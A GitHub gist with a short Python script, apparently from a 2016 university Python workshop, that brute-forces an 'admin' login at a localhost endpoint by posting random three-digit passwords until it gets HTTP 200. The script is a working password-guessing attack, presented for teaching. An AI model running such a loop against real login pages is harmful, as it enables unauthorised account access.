Skip to content

Instantly share code, notes, and snippets.

@MrValdez
Created March 6, 2016 02:13
Show Gist options
  • Save MrValdez/c66b97b736a51a751c47 to your computer and use it in GitHub Desktop.
Save MrValdez/c66b97b736a51a751c47 to your computer and use it in GitHub Desktop.
Program demonstrating how a simple bruteforce works. Shown at Adamson University Python Workshop (Mar 2016)
# exercise7.py
import requests
import string
import random
url = "http://localhost:5000/auth"
data = {"username": "admin",
"password": ""}
#possible_inputs = string.ascii_letters + string.digits + ' '
possible_inputs = string.digits
max_inputs = 3
while True:
new_password = ""
for i in range(max_inputs):
new_password += random.choice(possible_inputs)
data["password"] = new_password
response = requests.post(url, data=data)
if response.status_code == 200:
print ("password found")
break
elif response.status_code == 401:
print ("password invalid")
else:
print ("response is {}".format(response))
print (data)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment